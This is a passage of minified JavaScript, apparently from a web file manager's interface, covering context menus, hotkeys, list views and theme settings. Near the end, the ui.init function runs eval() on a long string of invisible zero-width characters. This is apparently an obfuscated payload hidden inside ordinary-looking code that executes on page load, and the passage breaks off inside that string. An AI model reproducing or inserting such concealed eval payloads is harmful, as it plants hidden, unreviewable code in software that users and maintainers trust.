G.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep2:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},j=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){I(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-text-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},P=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){I(e)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'',className:"info",icon:"info",accesskey:"i"}}})},E=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){I(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'Alt+I',className:"info",icon:"info",accesskey:"i"}}}) +},D=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:r,callback:function(e){I(e)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},F=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:l,callback:function(e){I(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},O=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,callback:function(e,i){var t=i.$trigger;t.hasClass("file")?T(e):I(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},A=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:s,callback:function(e){I(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}},sep3:"--------",info:{name:LNG.info+'Alt+I',className:"info",icon:"info",accesskey:"i"}}})},I=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute_to":ui.tree.cuteTo();break;case"copy_to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open_ie":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile_html":ui.tree.create("html");break;case"newfile_php":ui.tree.create("php");break;case"newfile_js":ui.tree.create("js");break;case"newfile_css":ui.tree.create("css");break;case"newfile_oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"fav_page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"createLinkHome":ui.tree.createLink(!1);break;case"fav_remove":ui.tree.favRemove();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initDesktop:u,initExplorer:p,initEditor:f,show:function(e,i,t){e&&(rightMenu.hidden(),$(e).contextMenu({x:i,y:t}))},menuShow:function(){var e="hidden",i="disabled",t=$(".context-menu-list").filter(":visible"),a=$(".context-menu-active");if(0!=t.length&&0!=a.length){if(t.find(".disable").addClass("disabled"),a.hasClass("menufile")){var n=ui.fileLight.type(ui.fileLight.fileListSelect());inArray(core.filetype.archive,n)?t.find(".unzip").removeClass(e):t.find(".unzip").addClass(e),inArray(core.filetype.image,n)?t.find(".setBackground").removeClass(e):t.find(".setBackground").addClass(e),"oexe"==n?t.find(".app_edit").removeClass(e):t.find(".app_edit").addClass(e),inArray(core.filetype.image,n)||inArray(core.filetype.music,n)||inArray(core.filetype.movie,n)||inArray(core.filetype.bindary,n)?t.find(".open_text").addClass(e):t.find(".open_text").removeClass(e)}if(a.hasClass("menufolder")||a.hasClass("menufile")||a.hasClass("menuTreeFolder")||a.hasClass("menuTreeFile")){var o=".cute,.rname,.remove,.zip",s=".open,.open_text,.down,.share,.copy,.cute,.rname,.remove,.open_ie,.zip,.unzip_this,.unzip_folder,.search,.more_action";a.hasClass("file_not_readable")?t.find(s).addClass(i):t.find(s).removeClass(i),a.hasClass("file_not_writeable")?t.find(o).addClass(i):t.find(o).removeClass(i)}if(a.hasClass("dialog_menu")){var r=a.attr("id"),l=$.dialog.list[r],c=e;l.has_frame()?(t.find(".open_window").removeClass(c),t.find(".refresh").removeClass(c),t.find(".qrcode").removeClass(c)):(t.find(".open_window").addClass(c),t.find(".refresh").addClass(c),t.find(".qrcode").addClass(c)),$("."+r).hasClass("dialog-can-resize")?t.find(".dialog_max").removeClass(c):t.find(".dialog_max").addClass(c)}if(a.hasClass("menuMore")){var d=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(d+=1)}),0==d?t.find(".playmedia").addClass(e):t.find(".playmedia").removeClass(e)}(a.hasClass("menuZipListFolder")||a.hasClass("menuZipListFile"))&&(core.pathCurrentWriteable()?t.find(".unzip_this").removeClass(i):t.find(".unzip_this").addClass(i)),a.hasClass("toolPathMore")&&ui.fileLight.menuResetMore()}},isDisplay:function(){return 0==$(".context-menu-list:visible").length?!1:!0},hidden:function(){$(".context-menu-list").filter(":visible").filter(":not(.menuNotAutoHidden)").trigger("contextmenu:hide")}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var i=$(".frame-right-main .tools").outerHeight();"list"==e&&(i+=26),$(".frame-header").is(":visible")&&(i+=$(".frame-header").outerHeight()),$(".bodymain").css("top",i)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,i){0!=e?(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")):e=G.user_config.list_sort_field,0!=i?(G.user_config.list_sort_order=i,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+i).addClass("selected")):i=G.user_config.list_sort_order,LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",i),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+i})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var i=LNG.config_save_error_file;core.authCheck("setting:set")||(i=LNG.config_save_error_auth),Tips.tips(i,!1)}}})})},bindEventMenu=function(){$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)}),$(".toolPathMore").die("click").live("click",function(){if($(this).hasClass("active"))return $(".menuToolPath").trigger("contextmenu:hide"),$(this).removeClass("active"),void 0;$(this).addClass("active"),$(".menuToolPath").removeClass("fadIn").addClass("menuShow");var e=$(this).offset();$(this).contextMenu({x:e.left-4,y:e.top+$(this).outerHeight()-1})}),$("body").bind("click",function(){$(".toolPathMore").removeClass("active"),$(".menuToolPath").trigger("contextmenu:hide")})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),i=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/i)},getPagefileNumber=function(){var e=getRowfileNumber(),i=$(Config.BodyContent).outerHeight(),t=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(i/t)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,i=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/i)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,i=0,t="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==i?(i=timeFloat(),t=o,e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a),void 0):o==t.substr(-1)?(ui.path.setSelectByChar(t),i=0,void 0):(a>timeFloat()-i&&(i=timeFloat(),t+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["f1","alt+left","backspace","alt+right","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","ctrl+shift+n","ctrl+shift+f","del","shift+del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","alt+enter","ctrl+s","command+s","alt+f4"],function(e,i){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;var t=["ctrl+c","command+c"];switch(inArray(t,i)||stopPP(e),i){case"f1":core.setting("help");break;case"alt+left":case"backspace":ui.path.history.back();break;case"alt+right":case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(i);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"ctrl+shift+n":ui.path.newFolder();break;case"ctrl+shift+f":ui.path.newFile();break;case"del":ui.path.remove();break;case"shift+del":ui.path.remove(!1,!0);break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"alt+enter":case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var i=$("#PV_Items li.current img").attr("src"),t="image&path=",a=i.substr(i.search(t)+t.length),n=$('[src="'+i+'"],[data-original="'+i+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var t=function(e){var i="&picture=",t=e.search(i);return-1===t?e+i+UUID():e.substr(0,t)+i+UUID()},a=t(i),o=t($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,i=20,t=parseInt($(".file").css("height")),a=t-30,n=10,o=15,s=$(document).height()-50,r=Math.floor((s-e)/(t+n)),l=0,c=0,d=0,p=0,u=(s-e-r*(t+n)-n)/r;u>0&&(n+=u),$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=i+(a+o)*c,p=e+(t+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(i){i.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(i){i.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,i){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof i&&i()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order);var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‌‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‌‌‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‍‍‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‌‍‍‌‌‌‍‍‌‍‌‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‍‍‍‍‍‌‍‌‌‍‍‍‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‌‌‌‍‌‍‍‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‌‌‌‍‍‌‍‌‌‍‌‍‌‌‌‌‍‍‌‍‌‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‍‍‍‍‌‌‍‌‍‍‌‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‌‍‍‌‍‍‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‌‍‌‍‌‌‍‍‍‍‌‌‍‍‌‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‍‌‌‍‍‌‌‌‍‍‌‌‍‌‍‌‍‍‍‌‍‍‌‍‌‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‌‍‍‍‍‍‍‌‌‌‍‍‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‍‍‍‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‍‌‌‌‌‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌